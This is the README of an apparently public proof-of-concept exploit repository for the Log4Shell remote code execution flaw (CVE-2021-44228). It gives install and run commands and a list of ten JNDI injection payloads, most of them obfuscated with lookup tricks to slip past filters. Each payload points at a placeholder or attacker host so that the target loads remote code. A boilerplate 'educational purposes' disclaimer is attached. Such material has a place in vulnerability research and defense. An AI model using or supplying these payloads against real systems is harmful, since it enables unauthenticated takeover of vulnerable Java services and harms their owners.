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CVE-2021-44228 – Log4j RCE Unauthenticated

About

This is a proof-of-concept exploit for Log4j RCE Unauthenticated (CVE-2021-44228).

This vulnerability affects versions < 2.15.0.

For more information:

https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j

Contributors

@pedrohavay

Disclaimer

This project is created only for educational purposes and cannot be used for law violation or personal gain.

The author of this project is not responsible for any possible harm caused by the materials of this project.

Demo

image

Installation

git clone https://github.com/pedrohavay/exploit-CVE-2021-44228
cd exploit-CVE-2021-44228
pip install -r requirements.txt

Usage

  1. Use the script

     python3 main.py
    

Payloads

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://localhost:12345/Exploit}

Requirements

  • Python 3
  • Java (JDK)

About

This is a proof-of-concept exploit for Log4j RCE Unauthenticated (CVE-2021-44228).

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